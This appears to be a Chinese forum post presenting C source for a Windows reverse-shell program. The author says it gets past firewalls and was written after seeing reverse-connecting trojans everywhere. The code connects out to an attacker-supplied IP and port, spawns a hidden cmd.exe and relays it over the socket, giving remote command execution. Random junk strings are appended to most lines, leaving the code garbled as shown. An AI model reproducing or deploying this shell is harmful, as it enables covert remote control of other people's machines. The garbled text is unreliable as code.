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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C:WXI;*cr  
"TboIABp:H  
/* ============================== G`1FD  
Rebound port in Windows NT [b<AQFh<c  
By wind,2006/7 `96PY !$u  
===============================*/ K_X10/#b&  
#include ;"77? )  
#include s;eOX\0  
OcWzo#q4[  
#pragma comment(lib,"wsock32.lib") W<AxctId  
orcPKCz|"  
void OutputShell(); gwyHDSo8:a  
SOCKET sClient; ui\yY3?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -'iV-]<  
- P$mN6h  
void main(int argc,char **argv) <+wbnnK  
{ aV9QIH~  
WSADATA stWsaData; ^k7`:@ z0U  
int nRet; z|:3,$~sN  
SOCKADDR_IN stSaiClient,stSaiServer; j~@Hj$APa`  
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if(argc != 3) R!8qkG  
{ / .ddx<  
printf("Useage:\n\rRebound DestIP DestPort\n"); !C$bOhc  
return; ,xeJf6es  
} ;$Q&2}L[  
r(#]Z   
WSAStartup(MAKEWORD(2,2),&stWsaData); 9+o`/lk1  
wNX2*   
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }c$@0x;YQ  
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stSaiClient.sin_family = AF_INET; gLyE,1Z}u  
stSaiClient.sin_port = htons(0); KkJK5dZo  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dO{a!Ca  
Z+*t=?L,,G  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _Bp{~-fO  
{ X pH]CF  
printf("Bind Socket Failed!\n"); =I}8-AS~V  
return; /Dl{I7W   
} >)sB# <e  
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stSaiServer.sin_family = AF_INET; 0+]ol:i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K~ 6[zJ4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HoIK^t~VT#  
TC%ENxDR  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %xq/eC7  
{ TNHkHR[&  
printf("Connect Error!"); ah (lH5r  
return; CQ`$' oy?W  
} X4"D Lt"  
OutputShell(); Gidh7x  
} (")IU{>c6  
9mEt**s Ur  
void OutputShell() ^s_BY+#  
{ ;c!}'2>vM  
char szBuff[1024]; ,1}c% C*,Q  
SECURITY_ATTRIBUTES stSecurityAttributes; F"k.1.  
OSVERSIONINFO stOsversionInfo; ?Z ]5 [  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |@a.dgz,  
STARTUPINFO stStartupInfo; /i${[1  
char *szShell; p%8v+9+h2  
PROCESS_INFORMATION stProcessInformation; h*2NFL~#  
unsigned long lBytesRead; -f+U:/'.>v  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <u 'q._m  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |N{?LKR %  
stSecurityAttributes.lpSecurityDescriptor = 0; zuq7 x7  
stSecurityAttributes.bInheritHandle = TRUE; :slVja$e  
-/k;VT|  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  yO7xAb  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )_vE"ryThA  
m3cO { 1I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 23F<f+2S  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; phT|w H  
stStartupInfo.wShowWindow = SW_HIDE; /:YJ2AARY  
stStartupInfo.hStdInput = hReadPipe; 9 2e?v8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o:E_k#Fi  
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GetVersionEx(&stOsversionInfo); ? x*Ve2+]  
7~2/NU?  
switch(stOsversionInfo.dwPlatformId) Zr&~gXmVS  
{ ]Tb ?k+a  
case 1: Vh.9/$xQ  
szShell = "command.com"; ^X&n-ui   
break; 7(q EHZEr  
default: WxN@&g(  
szShell = "cmd.exe"; rW~hFSrV[o  
break; zSpL^:~  
} Jj~c&LxrO  
?\ qfuA9.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'q#$^ ='o  
1nt VM+  
send(sClient,szMsg,77,0); @dy<=bh~  
while(1) _* xjG \!  
{ A[/_}bI|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,}("es\b  
if(lBytesRead) x"n!nT%Z  
{ aetK<9L$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dW32O2@-  
send(sClient,szBuff,lBytesRead,0); /G zA89N(  
} 63J_u-o  
else *@XJ7G[  
{ ;Y&<psQeb  
lBytesRead=recv(sClient,szBuff,1024,0); 1kiS."77x  
if(lBytesRead<=0) break; Z# +{ksU  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lHV&8fny  
} QWo_Zg0"  
} | JmEI9n2  
aaN|g{pX  
return; w4:  
}
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